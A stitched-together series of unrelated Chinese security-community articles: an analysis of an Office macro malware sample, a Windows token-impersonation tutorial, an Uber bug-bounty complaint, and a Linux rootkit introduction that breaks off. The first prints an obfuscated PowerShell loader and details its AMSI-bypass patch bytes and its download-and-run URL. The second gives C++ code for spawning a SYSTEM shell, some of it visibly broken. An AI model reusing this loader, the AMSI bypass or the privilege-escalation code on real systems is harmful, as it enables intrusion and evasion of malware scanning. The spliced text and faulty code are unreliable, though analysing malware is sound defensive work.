$z24c573 = '14465e5f52173018464354580c16125c595615641a1241525c1b65160f415e5c50192a0f4152435a4730044741585652105a4044585b5043324c4445505a4d255c56565b5810155c54420e4210085b5011664e1015505a1f7c785814465e5f5217301846435458192d04410c3c3f471603595e5215540f004644114c5502530c0f024e6c270d597e5c455811151d155a50450d04590403171b260f41454865580a0f410a137252173147585274530713504442171e3e1140555d5c5443124156455c5443044d4354475943285b436141454317020008571f2a0f41674547171b59510404031b1015475e5f52171556575206061e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508152f0e54537d5c551100474e131c6a1314575b5856171015544358561706194152435b172a0f41674547170657030207510e4b124145585b50431b560154541e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508153508474344545b33135a435456434148684744575b0a0215444554430a021552494152110f15555e5a5b43090254040d014b285b43614145430c5156060d01574d607e5f41671713155c0302550050571b445c5917414d545554515158195844411716085b4311470f5703060e180e6c270d597e5c455811151d157a50450d045904031b530f0d171b745b4311186558585b435e4367435d7858150478525c5a451a43196454417b02124172434758115c53565d46524a3c464350415e0041504f4550450d41435858511706070056541d7e0d1565434315565a550d5209197e0d15654343155b5b03040554195e0d15155005560106480e4744575b0a0215444554430a02155e5f411700500c04531d1e18285b4361414543020756540753555c500107000107581d4e0002060649170701000f5755000f0057025051530755171e4a5a5c511956050204075307140a2a0f416745471939044758184e7e0d1565434315455a57060308060a1556020e531d545100500555031b1a500206541d155151000f0501025b570302050505530702000507025454060203040641481c0c58531f11580304050c04425c7c59456543114f6f52435a1e18347c5945654311415d55505405075c1d62785b433315471e040e420a0f41175a0c5450560c0a010e5e05495d0052000f5549470e0706035a52195f535456510519074901074f0e4043115e0e0052020e181c4c211841526a68170904045255084c531906061d054f05071907490c071e5a7c5945654311415b55020700025c785643465f020d1b765d59580029725b5e57560f49061e0a785611125d565d1b740c114c1f5b5006060519071d5b55505302561d061e5804530250501f0d044217785b433315471f430c0150550c041f61582a0f4101051d1e48514d070104554a4d5b55020700024d061e0a484a1e124145585b504312040f0253565e245b415847580d0c5059451b70061573585d515211315443591d720d175c455e5b5a060f41196245520008545b775a5b070447197045470f085656455c580d255443501c174841176b6d560e51540015111e171a500206541d155707000705530257431c0c5f50404336505572595e060f411f181b730c165b5b5e545325085952194c065450501f13050e5750010405040355515103520152565700010453020154030700050f57570100050602025502070704045750015204060354540d070905035756010300530255540d075401525754000f0504060251530552040155530254050600505703020205015555000f0654035251500355050357050005131c1b10500d0457541e583147585250441032415643417e0d075a174803540153085954421733135a5454464430155445457c59050e1d44000d0405001c0c614758000446441f66430213411f48035401531c0c43504316135b17010e4a1314575b585617101554435856171015475e5f52171a500206541d4417135c5956155a06590c0e051c4c1015475e5f52171b59510404030a4100000000000000430e4445475e0d06155207030255050c0a13170c050e471f585b43430808070a155e5f0c500f080c034d2d505956415f58081e0a031c4c011841521143005458570a725a59150447431f6158211841521958525b580c031f664201124145585b504b08190518190655480e5207030255050c1c0c1d540b00471e19430054585769490d535054036c195c185148104f09510456571b7b545b501709681e0a4845061540455f155255570001550c0c1e1c';
$z24c5732 = y171e($z24c573);
Add-Type -TypeDefinition $z24c5732;
[yba2983]::c193b();
### 分析powershell脚本
上面的代码可以看到：
首先，程序将值`$z24c573`传入函数`y171e`，这里的`y171e`应该是一个解密函数。解密过后的内容存于`$z24c5732`；
然后，调用`Add-Type -TypeDefinition`将该类添加到会话中，由于由于它使用的是内联源代码，所以该命令使用
`TypeDefinition` 参数来指定 `$z24c5732` 变量中的代码。（MSDN中我们可以知道，使用Add-Type 可以在Windows
PowerShell会话定义添加 Microsoft .NET Framework
类型（一种类）。这就表明`$z24c5732`存储的解密后的内容其实是一个`.Net`的程序源码。[Add-Type | Microsoft
Docs](https://docs.microsoft.com/zh-CN/previous-versions//dd315241\(v=technet.10)?redirectedfrom=MSDN)）。
最后，`[yba2983]::c193b();`调用类的静态方法
> **调用类的静态方法** ：用中括号把类的名称括起来，然后输入两个冒号，然后再输入方法名，最后是方法的参数。
>
> **访问类的静态属性** ：用中括号把类的名称括起来，然后输入两个冒号，然后再输入属性名。来访问.NET类的静态属性。
>
> **调用对象的方法** ：在对象变量之后使用点（.）作为成员变量符，然后加上方法名，和方法参数即可。
>
>
> [PowerShell中调用.NET对象的静态方法、静态属性和类方法、类属性例子](https://www.jb51.net/article/53191.htm)。
**我们需要知道经过y171e函数解密过后存放在变量$z24c5732中的内容是什么。**
powershell或者cmd窗口中输入`powershell_ise.exe`启动 **powerShell ISE**
工具进行调试，将原powershell脚本的第一行和最后两行删去，直接输出变量`$24c5732`的内容如下:
保存为1.ps1，运行脚本得到解密内容（需要以管理员身份打开powershell.exe然后set-executionpolicy
remotesigned修改执行策略为remotesigned）
如下：
### 分析.NET代码
我们在Visual Studio2019，创建一个C#控制台应用程序，将解密出来的.Net代码提出来进行分析：
可以看到，程序导入了kernel.dll的4个API函数：
[DllImport("kernel32", EntryPoint = "GetProcAddress")] public static extern IntPtr v779b(IntPtr x8d356, string v7be73);
[DllImport("kernel32", EntryPoint = "LoadLibrary")] public static extern IntPtr e6656d9(string zc6ea);
[DllImport("kernel32", EntryPoint = "VirtualProtect")] public static extern bool h7c586(IntPtr mda7864, UIntPtr k27bc1b, uint xcdaf29, out uint r84b39);
[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] static extern void ef5ae(IntPtr a948e8, IntPtr l8b12e, int g4c6e);
函数y171e()就是解密函数，将传入的字符串和字符串"a57157c"中的一些值进行异或操作，然后返回解密出的字符串。
函数c193b()就是Run函数，如下：
可以看到，其中多次调用y171e()函数共解密了四个字符串。
> amsi.dll
>
> AmsiScanBuffer
>
> C:\Users\thh\AppData\Roaming\c9255.exe
>
> <https://cannabispropertybrokers.com/pop/8OwWKrFQ0gQoKt9.exe>
函数先解密了前两个字符串，`LoadLibrary`导入amsi.dll然后`GetProcAdderss`获取`AmsiScanBuffer`地址。然后判断获取的函数指针是否为空，如果不为空，执行下面的if语句。然后调用`VirtualProtect`函数修改对应的内存属性从仅可读修改为可读可写（PAGE_EXECUTE_READWRITE
= 0x40），之后调用`Marshal`函数分配内存并将`Byte[] jeled = {0x31, 0xff,
0x90}`复制到AmsiScanbufferAddr + 0x001b的内存区域
amsi是什么？这些操作是要干嘛？`AmsiScanBuffer`的作用是什么？0x31, 0xff, 0x90复制到AmsiScanbufferAddr
+ 0x001b的内存区域是要干嘛？
Google搜索到对AMSI的解释如下：
> AMSI（Antimalware Scan Interface，反恶意软件扫描接口）。反恶意软件解决方案支持 AMSI，那么在 Windows 10
> 上就可以阻止 PowerShell 攻击代码的执行。 反恶意软件扫描接口 (AMSI)
> 是一种允许应用程序和服务集成在一台机器上的任何反恶意软件产品的泛型接口标准。
Google搜索Byte[] jeled = {0x31, 0xff, 0x90}找到绕过AMSI的文章如下：
> [AMSI Bypass Redux](https://www.cyberark.com/resources/threat-research-> blog/amsi-bypass-redux)
可以得知，if判断当中的内容其实就是绕过AMSI的代码。
现在我们知道这个.NET代码的作用了，总结一下：
首先导入四个API，
然后解密两个字符串，获取`AmsiScanBuffer`地址，`AmsiScanBuffer`的作用就是给amsi.dll打补丁以此绕过AMSI，防止被扫描到；
紧接着就是语句`MoveMemory(AmsiScanbufferAddr + 0x001b, unmanagedPointer,
3);`给amsi.dll打补丁（0x31, 0xff, 0x90）绕过AMSI（使用xor
edi，edi操作码对相关行（将rd8提交到edi寄存器的行）打补丁）。
最后解密两个字符串，一个网址，一个本地文件路径，调用`WebClient`函数将网址上的文件下载到指定路径并启动运行。
但是很遗憾，这个网站已经炸了，下载不了这个文件了。这个网站可能是随关随停的，当时用了就关了，也有可能是被举报下挂了。
由于该样本动态给amsi.dll打了补丁以此绕过了AMSI的检测，使得一部分厂商没有查杀到该病毒。
# 总结
由于是第一次分析Office宏病毒样本，很多地方我都阐述得或许不是很恰当，对VBA程序的分析、powershell脚本的调试都稍显得有些生疏，但是在在分析该样本的过程中我也逐渐熟悉一些宏病毒的一些常规分析手法：VBA程序、powershell脚本、.NET程序。学习C#、powershell脚本、VBA的一些语法和API的用法，熟悉了AMSI（Antimalware
Scan Interface，反恶意软件扫描接口）机制，也顺带学习了如何绕过AMSI。
**参考**
[Add-Type | Microsoft Docs](https://docs.microsoft.com/zh-CN/previous-versions//dd315241\(v=technet.10)?redirectedfrom=MSDN)
[PowerShell中调用.NET对象的静态方法、静态属性和类方法、类属性例子](https://www.jb51.net/article/53191.htm)
[Antimalware Scan Interface (AMSI)](https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal)
[AMSI Bypass Redux](https://www.cyberark.com/resources/threat-research-blog/amsi-bypass-redux)
[Obfuscated VBA, Powershell,
C#](https://www.ringzerolabs.com/2020/10/obfuscated-vba-powershell-c.html) | 社区文章 |
## 前言
这是关于`Windows API`和`Impersonation`的学习笔记。它将描述我自学`Windows
API`和`Impersonation`的心路历程。
主要目标是获取system权限。阅读这篇文章后，我保证你有足够的技巧使用你的代码完成它！
## 文档
* Windows API Impersonation Functions(<https://msdn.microsoft.com/en-us/library/cc246062.aspx>)
* Impersonation Tokens(<https://docs.microsoft.com/en-us/windows/desktop/secauthz/impersonation-tokens>)
* Authentication Functions(<https://docs.microsoft.com/pt-br/windows/desktop/SecAuthN/authentication-functions>)
* Windows API - OpenProcess(<https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openprocess>)
* Token Access List(<https://docs.microsoft.com/pt-br/windows/desktop/SecAuthZ/access-rights-for-access-token-objects>)
## Windows权限
Windows系统依靠`Access Tokens`来识别系统内的安全级别或访问权限。每个进程都有一个`Primary
Token`和`Impersonation Token`，两者都可用于在Windows环境中获取system权限。
要直观的查看当前特权集，请向shell发送以下命令：
C:\>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
当您处于`Medium-Integrity`时，会发生上述输出，这就意味着即使我们是管理员，我们仍然没有足够的权限来弹出`SYSTEM shell`。
要想拥有一个进程中的所有权限，您需要合法地或者使用其它bypass技术绕过UAC。如果您对`UAC
Bypassing`感兴趣，我建议您使用hfiref0x制作的工具`UACME`，这是到目前为止，在互联网上可以免费获得的最完整的`UAC
bypassing`工具。
所以，在我们通过UAC之后，状态如下：
C:\>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description
========================================= ==================================================================
SeCreateTokenPrivilege Create a token object
SeAssignPrimaryTokenPrivilege Replace a process level token
SeLockMemoryPrivilege Lock pages in memory
SeIncreaseQuotaPrivilege Adjust memory quotas for a process
SeTcbPrivilege Act as part of the operating system
SeSecurityPrivilege Manage auditing and security log
SeTakeOwnershipPrivilege Take ownership of files or other objects
SeLoadDriverPrivilege Load and unload device drivers
SeSystemProfilePrivilege Profile system performance
SeSystemtimePrivilege Change the system time
SeProfileSingleProcessPrivilege Profile single process
SeIncreaseBasePriorityPrivilege Increase scheduling priority
SeCreatePagefilePrivilege Create a pagefile
SeCreatePermanentPrivilege Create permanent shared objects
SeBackupPrivilege Back up files and directories
SeRestorePrivilege Restore files and directories
SeShutdownPrivilege Shut down the system
SeDebugPrivilege Debug programs
SeAuditPrivilege Generate security audits
SeSystemEnvironmentPrivilege Modify firmware environment values
SeChangeNotifyPrivilege Bypass traverse checking
SeUndockPrivilege Remove computer from docking station
SeManageVolumePrivilege Perform volume maintenance tasks
SeImpersonatePrivilege Impersonate a client after authentication
SeCreateGlobalPrivilege Create global objects
SeTrustedCredManAccessPrivilege Access Credential Manager as a trusted caller
SeRelabelPrivilege Modify an object label
SeIncreaseWorkingSetPrivilege Increase a process working set
SeTimeZonePrivilege Change the time zone
SeCreateSymbolicLinkPrivilege Create symbolic links
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session
值得注意的是，我们拥有比以前更多的权限。现在我们可以继续更高级的工作了。
## 启用权限
有时虽然您在当前的权限集中具有特定的权限（通过`whoami / priv`显示），但它是被禁用的。
以下`C++`代码能够在程序运行时启用它：
#include <Windows.h>
#include <tchar.h>
BOOL EnableWindowsPrivilege(WCHAR* Privilege)
{
/* Tries to enable privilege if it is present to the Permissions set. */
LUID luid = {};
TOKEN_PRIVILEGES tp;
HANDLE currentProcess = GetCurrentProcess();
HANDLE currentToken = {};
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE;
if (!OpenProcessToken(currentProcess, TOKEN_ALL_ACCESS, ¤tToken)) return FALSE;
if (!AdjustTokenPrivileges(currentToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) return FALSE;
return TRUE;
}
int wmain(void)
{
// Enable SeDebugPrivilege (dubbed SE_DEBUG_NAME by constant variable)
if(!EnableWindowsPrivilege(SE_DEBUG_NAME))
{
wprintf(L"Could not enable SeDebugPrivilege!\n");
return 1;
}
return 0;
}
## 检查权限
有时，在启动程序或函数之前，您需要检查当前的权限集是否存在某个权限。
以下`C++`代码展示了如何检查特定权限：
#include <Windows.h>
#include <tchar.h>
BOOL CheckWindowsPrivilege(WCHAR *Privilege)
{
/* Checks for Privilege and returns True or False. */
LUID luid;
PRIVILEGE_SET privs;
HANDLE hProcess;
HANDLE hToken;
hProcess = GetCurrentProcess();
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) return FALSE;
if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE;
privs.PrivilegeCount = 1;
privs.Control = PRIVILEGE_SET_ALL_NECESSARY;
privs.Privilege[0].Luid = luid;
privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL bResult;
PrivilegeCheck(hToken, &privs, &bResult);
return bResult;
}
int wmain(void)
{
if(!CheckWindowsPrivilege(SE_DEBUG_NAME))
{
wprintf(L"I do not have SeDebugPrivilege!\n");
return 1;
}
wprintf(L"I do have SeDebugPrivilege!\n");
return 0;
}
## 如何使用Primary Tokens获取系统
本文的这一部分将详细介绍我使用`Windows API`启动系统的第一种方法。它将逐步详细说明使系统正常工作所需的每个函数，直到构建完整的PoC代码。
## OpenProcess
此功能对于研究非常重要，因为它是在Windows系统中可以启动远程进程的句柄。如果没有句柄，您将无法与这些流程交互并从中获取任何信息。我们来看看它的调用语法：
HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
要使用`OpenProcess`获取句柄，您需要一个表示期望访问远程进程的`DWORD`，以及一个`BOOLEAN`，用来表示由该进程生成的进程将继承`access
tokens`，并需要一个`DWORD Process
Identifier（PID）`调用它。检查以下`C++`示例以获取`PID`值为1234的进程的句柄：
#include "windows.h"
#include "tchar.h"
int wmain(int argc, WCHAR **argv)
{
HANDLE hProcess;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, 1234);
if(!hProcess)
{
wprintf(L"Could not get a handle to remote process.\n");
return 1;
}
wprintf(L"We got our handle!\n");
return 0;
}
## OpenProcessToken
这个功能需要一个句柄。因此，如果您还没有阅读过有关`OpenProcess`的内容，那么您现在就应该去读读它。
在您拥有进程的句柄之后，您可以打开它并查询有关其安全访问权限的信息。我们来看看调用语法：
BOOL OpenProcessToken(
HANDLE ProcessHandle,
DWORD DesiredAccess,
PHANDLE TokenHandle
);
三个论点。第一个是流程句柄。第二个是令牌的期望访问，第三个是存储我们从此过程“打开”的令牌的指针。
查看这个`C++`示例，了解我们如何使用此函数：
#include "windows.h"
#include "tchar.h"
#pragma comment(lib, "advapi32.lib")
int wmain(int argc, WCHAR **argv)
{
if (argc < 2)
{
wprintf(L"Usage: %ls <PID>\n", argv[0]);
return 1;
}
DWORD dwPid;
dwPid = _wtoi(argv[1]);
wprintf(L"[+] PID chosen: %d\n", dwPid);
// Try to open the remote process.
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwPid);
if (!hProcess)
{
wprintf(L"ERROR: Could not get a handle to PID %d\n", dwPid);
return 1;
}
wprintf(L"[+] Got handle for PID: %d\n", dwPid);
// Create a pointer to a Token
PHANDLE pToken = new HANDLE;
BOOL bResult = OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_IMPERSONATE, pToken);
if (!bResult)
{
wprintf(L"ERROR: Could not open process token.\n");
return 1;
}
wprintf(L"[+] Process token is now open.\n");
return 0;
}
## DuplicateTokenEx
我们需要详细关注这个函数，我们需要用它获取`SYSTEM`令牌并在某个地方使用它。它可以复制一个令牌对象。它很有用，因此我们可以使用它来创建/生成另一个使用属于其的令牌的进程。当您需要`SYSTEM`权限但在`UAC`之后您是管理员用户时，这可能很有用。
检查如何调用它：
BOOL DuplicateTokenEx(
HANDLE hExistingToken,
DWORD dwDesiredAccess,
LPSECURITY_ATTRIBUTES lpTokenAttributes,
SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
TOKEN_TYPE TokenType,
PHANDLE phNewToken
);
现在看看我们的`C++`代码示例：
HANDLE GetAccessToken(DWORD pid)
{
/* Retrieves an access token for a process */
HANDLE currentProcess = {};
HANDLE AccessToken = {};
DWORD LastError;
if (pid == 0)
{
currentProcess = GetCurrentProcess();
}
else
{
currentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
if (!currentProcess)
{
LastError = GetLastError();
wprintf(L"ERROR: OpenProcess(): %d\n", LastError);
return (HANDLE)NULL;
}
}
if (!OpenProcessToken(currentProcess, TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY, &AccessToken))
{
LastError = GetLastError();
wprintf(L"ERROR: OpenProcessToken(): %d\n", LastError);
return (HANDLE)NULL;
}
return AccessToken;
}
int wmain(int argc, WCHAR **argv)
{
DWORD LastError;
/* Argument Check */
if (argc < 2)
{
wprintf(L"Usage: %ls <PID>\n", argv[0]);
return 1;
}
/* Process ID definition */
DWORD pid;
pid = _wtoi(argv[1]);
if ((pid == NULL) || (pid == 0)) return 1;
wprintf(L"[+] Pid Chosen: %d\n", pid);
// Retrieves the remote process token.
HANDLE pToken = GetAccessToken(dwPid);
//These are required to call DuplicateTokenEx.
SECURITY_IMPERSONATION_LEVEL seImpersonateLevel = SecurityImpersonation;
TOKEN_TYPE tokenType = TokenPrimary;
HANDLE pNewToken = new HANDLE;
if(!DuplicateTokenEx(pToken, MAXIMUM_ALLOWED, NULL, seImpersonateLevel, tokenType, &pNewToken))
{
DWORD LastError = GetLastError();
wprintf(L"ERROR: Could not duplicate process token [%d]\n", LastError);
return 1;
}
wprintf(L"Process token has been duplicated.\n");
}
这有很多的代码，但总的来说，给定一个`DWORD`表示进程PID编号，此代码使用名为`GetAccessToken`的函数来检索远程进程的句柄。如果成功，它会复制检索到的令牌，因此稍后我们可以使用它来模拟令牌所有者身份。
## CreateProcessWithToken
`CreateProcessWithToken`是我们在将自己提升为`SYSTEM`用户之前要调用的最后一个函数。在调用`ImpersonateLoggedOnUser`（并且不返回错误）之后，我们可以使用`Duplicated
token`在新的安全环境下生成进程。
BOOL CreateProcessWithTokenW(
HANDLE hToken,
DWORD dwLogonFlags,
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
从`ImpersonateLoggedOnUser`继续我们的代码：
if(!DuplicateTokenEx(pToken, MAXIMUM_ALLOWED, NULL, seImpersonateLevel, tokenType, &pNewToken))
{
DWORD LastError = GetLastError();
wprintf(L"ERROR: Could not duplicate process token [%d]\n", LastError);
return 1;
}
wprintf(L"Process token has been duplicated.\n");
/* Starts a new process with SYSTEM token */
STARTUPINFO si = {};
PROCESS_INFORMATION pi = {};
BOOL ret;
ret = CreateProcessWithTokenW(pNewToken, LOGON_NETCREDENTIALS_ONLY, L"C:\\Windows\\System32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if (!ret)
{
DWORD lastError;
lastError = GetLastError();
wprintf(L"CreateProcessWithTokenW: %d\n", lastError);
return 1;
}
当`CreateProcessWithTokenW`成功执行时，`NT AUTHORITY\SYSTEM`下的`Windows shell`应出现在屏幕上。
## 后记
这篇博文的第一部分到此结束。在第二部分中，我打算展示如何使用`Impersonation Token`来获取`SYSTEM shell`。
原文地址：https://0x00-0x00.github.io/research/2018/10/21/Windows-API-And-Impersonation-Part-1.html | 社区文章 |
# 为何Uber漏洞赏金计划让我分文未赚
##### 译文声明
本文是翻译文章，文章原作者 Gregory Perry，文章来源：medium.com
原文地址：<https://medium.com/bread-and-circuses/how-i-got-paid-0-from-the-uber-security-bug-bounty-aa9646aa103f>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
根据Uber在HackerOne上发布的公开漏洞奖励计划，如果谁能够在Uber的应用程序或信息资产中发现一个安全漏洞的话，他们将至少奖励500美金。我自己平时也会带领一堆渗透测试人员来给企业客户进行安全培训，所以我打算来试试Uber的水。
## 挖洞过程
为了对Uber的信息资产进行安全分析，我花了好几天的时间收集了一些资源，并使用子域名枚举以及应用指纹等方式构建出了一个相对全面的Uber终端“地图”。我在对Uber的Android
SDK进行了好几个小时的分析之后，我已经在ARM模拟器中完成了Uber APK的配置和运行了，这对我来说速度可真的是太慢了 …
经过分析之后，我成功地绕过了Uber .apk所绑定的安全证书，并且成功映射出了Uber移动端节点。由于网络流量中存在指向Microsoft Phone
API的引用，所以我又进入了微软应用商城，然后对Uber的Surface/Windows Phone应用程序进行了安全测试。
研究后发现，它并没有采用任何的证书绑定机制，这就违反了Uber本身的安全应用机制，所以按理来说我应该可以得到这个至少500美金的漏洞奖励了吧？
Uber在其所有的移动端身份认证流中都使用了OAuth2令牌，而这种方法相较于之前基于Cookie的身份认证方式而言，其安全优势非常的大。我自己开发了一个基于Python的客户端，并用它来跟Uber的后台进行交互，然后收集OAuth2令牌来进行熵分析，因为我想看看他们所采用的伪随机数生成器存不存在安全问题。可奇怪的是，我所捕捉到的OAuth2令牌压根就不会发生任何变化，而且我在Uber的开发者文档中也没有找到任何关于令牌过期的问题。每次我所得到的令牌，都跟我第一次注册Uber测试账号时所得到的令牌“字面上”完全相同。无论我使用Surface应用程序登录和注销多少次，我所得到的令牌都是一样的。难道Uber要每隔几天才会去更新这些令牌吗？
我待会儿在讨论这个问题，我们先看看Uber的促销节点。由于这里既没有实现任何的多因素身份验证，而且也没有对推广代码POST请求进行任何类型的频率限制，因此这里存在两个非常明显的安全漏洞。换句话来说，这个漏洞将允许我利用一个HTTP加载测试套件来向这个节点发送无数次的推广代码POST请求，然后枚举出OAuth2令牌。只需要花几分钟的时间，我就能够枚举出超过一百万个OAuth2令牌，而且不会受到IP黑名单或请求频率的限制。
那么我们回到令牌过期这个问题上。如果我可以通过某种方法搞清楚Uber如何处理令牌过期的问题，那我就可以导出无数个OAuth2令牌，并使用某些可视化工具来对令牌模式进行分析，进而使用函数等数学方法来推测出有效的OAuth2令牌。但是这个Surface应用程序在处理注销事件时，并不会跟Uber的后台服务器进行交互，而我却能够在Surface应用程序注销之后使用我自己的OAuth2令牌来访问所有Uber乘客的终端。
这也就意味着，Uber的移动端应用程序是在本地处理注销操作的，而且没有部署任何类型的令牌过期以及验证机制。这是一个非常严重的安全问题，我现在终于知道为什么Uber的开发者文档里面没有提到任何关于令牌过期的问题了：因为当用户创建好一个Uber账户之后，Uber给用户发送的OAuth2令牌将永远不会过期，而Uber的移动端应用程序只会在客户端本地来处理注销事件。毫无疑问，这些严重的安全漏洞肯定符合公开CVE或OWASP对安全漏洞的定义，所以我把我所发现的问题提交到了HackerOne上，并希望能够得到漏洞奖金。
## 问题及回复
问题1：Uber的客户推广节点没有采用任何类型的多因素身份验证机制，这将导致攻击者能够枚举出成千上万名Uber司机以及乘客的OAuth2令牌。
问题2：Uber的客户推广节点没有采用任何类型的频率限制以及IP黑名单机制，这将导致攻击者能够枚举出成千上万名Uber司机以及乘客的OAuth2令牌。
问题3：Uber的Microsoft Surface/Phone应用程序没有采用证书绑定机制，而且还允许使用自签名的证书，而这违反了Uber自身的安全条例。
问题4：Uber的移动端应用程序只会在本地处理注销事件，这将导致OAuth2令牌永不过期，当用户登出了自己的Uber移动端应用之后，攻击者将能够访问司机以及乘客的账号。
而Uber安全团队的Rob Fletcher针对上述问题给我的回应却是：
问题1回复：Uber已经知道了这个问题，我们将会修复它，但没有奖金。
问题2回复：Uber已经知道了这个问题，我们将会修复它，但没有奖金。
问题3回复：Uber已经知道了这个问题，我们将会修复它，但没有奖金。
问题4回复：Uber目前还无法让已发布的OAuth2令牌过期，我们将会在我们的下一代身份验证框架中修复该问题，还是没有奖金。
但是目前为止，我已经花了一周左右的时间来尝试获取这个价值“高达”500美金的漏洞奖励，而我所发现的安全漏洞既没有被发布在Uber的漏洞奖励网站中，也没有记录在HackerOne的页面上，这就让我非常恼火了！
HackerOne的工作人员Kevin
Rosenbaum给我的回复是：“我很抱歉，你所提交的漏洞没有通过审核，我们联系了Uber的应用安全团队，而他们并不认为你所提交的这些会成为安全问题，而且它们并不在Uber漏洞奖励计划的范畴之内。我知道这很令人沮丧，但我可以保证，他们已经查看了你的漏洞报告，并且会重视这个问题。我希望你能够继续帮助HackerOne找到更多的漏洞，祝你好运。”
非常好，现在打算给Uber来点猛料了，我准备演示一个更加严重的漏洞，让Uber没办法逃避我。
## 继续努力但毫无作用
经过进一步分析之后，我发现我能够从Uber的移动端节点<https://m.uber.com>
反射出查询参数。他们的内容安全策略包括一个针对*.cloudfront.net的白名单。我能够启动我亚马逊Web服务终端的Cloudfront，并托管任何我想要的JavaScript代码，并在<https://m.uber.com>
上执行这些代码。因此，我在Uber的内容安全策略中发现了两个严重的安全问题。当然了，我再一次将漏洞报告（一个反射型XSS+CSP问题）提交给了Uber。
除此之外，我还绕过了Uber OneLogin
SSO门户，并成功获取到了Uber内部uChat雇员信息系统的源代码。虽然这个问题跟之前的相比没那么严重，但我还是将其写到了第二份漏洞报告中并提交给了Uber的安全响应团队。
而Rob
Fletcher给我的回应是：“我们之后会对你所提交的漏洞进行二次审核，但目前来看这并不是一个安全漏洞。你所提交的漏洞并不能在现代浏览器中实现JavaScript执行，而且你所说的‘通过单引号实现任意文本生成’听起来就像简单的内容注入一样，它们都不在我们漏洞奖励的范畴之内。请你针对我们的漏洞奖励计划来提交相关安全报告，并对漏洞的安全性影响做出理论上的证明。”
如果我必须努力去证明一个应用程序或服务是多么地容易受到攻击，那我为什么不直接把漏洞利用信息卖给黑市呢？就因为我是一个白帽子吗？
而现在，HackerOne上的Uber漏洞奖励报告提交按钮已经变成这样了：
## 总结
1. Uber手上拥有美国以及其他国家数以千万计用户的GPS坐标定位数据，所以Uber信息资产的安全问题几乎相当于公众的安全问题。
2. 近期所有关于Uber企业文化的负面新闻在我看来都是真实的。
3. Uber并没有在安全方面做多大的努力，而且他们在HackerOne上发布的漏洞奖励计划纯粹是“瞎扯淡”。
4. HackerOne并不能保证厂商一定会支付“最少的漏洞奖金”，而且他们也不会为你的权益去跟厂商作斗争。 | 社区文章 |
## 序言
从西方APT组织的攻击历史及已经泄露的网络武器看，高隐匿、高持久化(Low&Slow)是其关键特征，而 Rootkit 则是达成此目的的重要技术之一。
在“【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁”里，我们介绍了Windows Rootkit的
**生存期，可达成的效果，运用这项技术展开攻击的可行性以及这项技术的发展现状。** 除了Windows操作系统，Linux、Mac
OS等同样受Rootkit关注。在本文中，我们将目光投向Linux操作系统。我们首先对 **近年来用户态Rootkit在黑产组织中的广泛使用**
进行讨论，接着介绍 **内核态Rootkit的高度定制化需求** 和 **Linux系统上存在的其他类型Rootkit** ，最后
**从攻防视角对Rootkit进行总结。**
## 难以检测的Linux Rootkit
想象以下场景：由于业务需要，你们公司稳定运行多年的某台Linux服务器需要进行系统升级，在完成升级后，你偶然注意到服务器上多了几个看起来像系统文件的文件（夹），你的第一反应是什么？这是新版本引入的系统文件，pass？有点可疑，去搜索引擎查询这些文件名是否正常？
**小心！任何一丝异常的背后都可能潜藏着巨大的危险。**
Rootkit在几乎所有操作系统上都是最具挑战性的恶意软件类型， **它利用操作系统代码中的疏忽，隐藏它的存在和恶意行为。**
制作精良的Rootkit可以在受害主机长期驻留，让主机在 **用户视角和部分内核视角没有任何感知，** 进而
**很难通过系统提供的检测工具以及常规的防病毒软件进行检测和清除。**
## 用户态倍受黑产青睐
Linux
Rootkit运行时所处的层次分用户层和内核层两种。对于运行于用户层的用户态Rootkit，它所涉及的技术简单且成熟，例如替换系统文件，动态链接库劫持等。对近两年曝光的黑产组织攻击样本进行分析，我们发现
**越来越多的黑产组织以某些开源Rootkit为基础，将用户态Rootkit技术加入自己的技术栈。**
进一步讲，黑产组织喜欢将用户态Rootkit作为其攻击链中multi-stage-malware的一部分，即他们没有将Rootkit功能集成在原本的挖矿或僵尸网络样本中，而是在原有恶意软件的基础上新增Rootkit，用于实现隐藏文件等新的功能，以
**规避安全公司提出的感染检测方案** ：“通过检查某些路径、文件的存在与否，判断某主机是否受到某恶意软件的影响”。
